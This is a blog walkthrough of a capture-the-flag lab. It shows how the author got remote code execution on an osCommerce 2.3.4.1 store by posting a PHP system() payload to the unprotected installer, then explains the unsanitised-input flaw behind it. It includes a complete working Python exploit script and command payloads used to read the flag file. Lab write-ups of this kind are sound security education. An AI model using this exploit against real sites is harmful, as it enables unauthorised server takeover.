CTF.live - Ecommerce: Web to Shell Walkthrough
Tags: security, ctf, rce, hacking
Published: 2020-07-27 14:18:52

---
canonical_url: https://blog.anudeepreddy.me/ctf-live-ecommerce-web-to-shell-walkthrough
---
> This post is originally written in my personal blog [Anudeep's blog](https://blog.anudeepreddy.me/ctf-live-ecommerce-web-to-shell-walkthrough)

This post is a walkthrough of a lab from [ctflive](https://ctflive.com). As the name suggests it's a Web Application Lab. I have been in search of beginner level labs to get started and found ctf lab which has labs that are beginner friendly. So without wasting much of your time let's get started. 

> Please go through the entire post as i am going to breakdown the exploit that was used 👨‍💻.

Before reading this I would like you to give it a try yourself. Here is the link to the lab. [Ecommerce: Web to Shell](https://www.ctf.live/challengedetails?cid=42)

## Walkthrough

Once you start your lab and open it you should see a e-commerce site. Looking around you can observe that it's a php based website. First of all let us try to understand what we need to achieve. 

### Mission
```
The attacker might not have any user-level access to the web application. However, this does not mean that the application cannot be attacked remotely. Vulnerabilities could be triggered even by unauthenticated users.

In this challenge, the attacker is unauthenticated to the web application and needs to find and exploit the vulnerability.

Objective: Exploit the vulnerability and retrieve the flag.
```

This is the mission provided in the lab description. Let's try to understand what it means. `The attacker might not have any user-level access to the web application`, this statement clearly gives  you a hint that you need not create a user account to exploit this lab. And if we look closely at the name of the lab Ecommerce: **Web to Shell**, does it ring any bells??.

If you guessed that you need to get a shell access then you are right🥳.

Let's start with some recon. I ran a **nmap** scan on the host to grab some info.

```
$> nmap -A <link-to-lab>
```
![Nmap scan results](https://dev-to-uploads.s3.amazonaws.com/i/2jzgoz3bagogh4pm62ns.png)

From the nmap results now we know that there are two open ports:
1. Port 22 running `OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)` 
2. Port 80 running `Apache/2.4.7`

Let us try to find if there are any vulnerabilities which might lead to RCE(Remote Code Execution) on Apache/2.4.7 as our ultimate goal is to get a shell access. For the vulnerability search let's dive into [exploit-db](https://www.exploit-db.com) and search for Apache/2.4.7. I found the following vulnerabilities.

![Exploit-db results](https://dev-to-uploads.s3.amazonaws.com/i/p33w8z2m9q01f4e0tvq1.png)

The first one should be our point of interest as it's of type Remote Code Execution. But that exploit only works with Apache/2.4.7 in combination with php/7.0.2. Even our current application works on PHP but lets try to find out the version of PHP that our application is using, for that head over to `<link-to-lab>/phpinfo.php` which should give you a page similar to this.

![phpinfo page](https://dev-to-uploads.s3.amazonaws.com/i/qsi5s2rcjfv4lh5836j5.png)

Oops! It's not PHP/7.0.2 rather it's PHP/5.5.9, so our exploit won't work here. 

### Get back to basics

Now let's try out our recon phase again. 
I started looking at the website at this point. Initially I thought osCommerce is the name of the store but then if you look at the footer of the website you will find something interesting, It says **Powered by osCommerce**. Now a quick Google search reveals that **osCommerce is an e-commerce and online store-management software program**. Now let us again dive back to exploit-db and search for vulnerabilities with osCommerce (Application level vulnerability) and you find this.

![oscommerce vulns](https://dev-to-uploads.s3.amazonaws.com/i/00oa6vj8e6kzeoijsajd.png)

Let's try out the fourth vulnerability that is listed in the image above. The following exploit code is found along with the vulnerability.

```python

import requests

# enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4)
base_url = "http://localhost//oscommerce-2.3.4.1/catalog/"
target_url = "http://localhost/oscommerce-2.3.4.1/catalog/install/install.php?step=4"

data = {
    'DIR_FS_DOCUMENT_ROOT': './'
}

# the payload will be injected into the configuration file via this code
# '  define(\'DB_DATABASE\', \'' . trim($HTTP_POST_VARS['DB_DATABASE']) . '\');' . "\n" .
# so the format for the exploit will be: '); PAYLOAD; /*

payload = '\');'
payload += 'system("ls");'    # this is where you enter you PHP payload
payload += '/*'

data['DB_DATABASE'] = payload

# exploit it
r = requests.post(url=target_url, data=data)

if r.status_code == 200:
    print("[+] Successfully launched the exploit. Open the following URL to execute your code\n\n" + base_url + "install/includes/configure.php")
else:
    print("[-] Exploit did not execute as planned")
            
```

Now in the above exploit code I replaced the target url to the lab url and it should look like this.

```python
import requests

# enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4)
base_url = "http://l4eowcwhoggdly42685x49mzl.ctf-india.attackdefenselabs.com"
target_url = "http://l4eowcwhoggdly42685x49mzl.ctf-india.attackdefenselabs.com/install/install.php?step=4"

data = {
    'DIR_FS_DOCUMENT_ROOT': './'
}

# the payload will be injected into the configuration file via this code
# '  define(\'DB_DATABASE\', \'' . trim($HTTP_POST_VARS['DB_DATABASE']) . '\');' . "\n" .
# so the format for the exploit will be: '); PAYLOAD; /*

payload = '\');'
payload += 'system("ls");'    # this is where you enter you PHP payload
payload += '/*'

data['DB_DATABASE'] = payload

# exploit it
r = requests.post(url=target_url, data=data)

if r.status_code == 200:
    print("[+] Successfully launched the exploit. Open the following URL to execute your code\n\n" + base_url + "install/includes/configure.php")
else:
    print("[-] Exploit did not execute as planned")
            
```
Now let us run the exploit.

![exploit output](https://dev-to-uploads.s3.amazonaws.com/i/5svf0dvxe8qumfs71w8p.png)

The output in the terminal says the exploit was successful, buts let's checkout if it actually works.

![shell output 1](https://dev-to-uploads.s3.amazonaws.com/i/7lgwomfd4oy5h50mirc6.png)

Opening the link that was printed on the console actually runs the ls command on the server. Now we have shell access to the application that allows us to perform RCE(Remote Code Execution). Now let us change the command from the exploit code and let us try to find the flag file on the server.

- **Try 1**: cd to the root of the server and check if there are any interesting files or folders.

> I have changed the payload to the following
```python
payload += 'system("cd / && ls");'    # this is where you enter you PHP 
```
Run the exploit again and check the output.

![shell output 2](https://dev-to-uploads.s3.amazonaws.com/i/z1myqizn0mljk8h09okw.png)

The app folder looks interesting. Change the payload in the exploit, list the files in the folder and you should find a flag file. print out the flag file to get your flag.

Our final payload looks like this.

```python
payload += 'system("cat /app/flag*");'    # this is where you enter you PHP payload
```

There you go, your flag which is a md5 hash.

![flag](https://dev-to-uploads.s3.amazonaws.com/i/luk19ts6b145ejvr3ki7.png)

## Bingo🎉, we just solved our first lab.

# Let us try to understand what just happened

I you look back at the exploit code you will see that we are just sending a post request with a crafted payload. So I downloaded the source code of osCommerce(you can find it [here](https://www.oscommerce.com/Products)) and the problem lies with the osCommerce installation process.

So the problem is osCommerce doesn't put a check on if the app is already installed, this will allow the attacker to access the installation process again and reconfigure the site without having any user level access. In the payload we are sending the post request to **step 4** because in step 4 of the installation process we are asked to configure the database and rest of the information and is written to the `install/includes/configure.php`. And the major problem here is that the input provided by user is not sanitized, this allows attacker to send crafted input as we did in the exploit above which allows us to inject the system command into the configure.php file. So when you open the configure.php file from your browser the system command that was injected gets executed and thus we have remote shell access to the server. This marks the end of this lab.

# Happy hacking 👨‍💻
![happy hacking](https://i.giphy.com/media/l3vRmVv5P01I5NDAA/giphy.gif)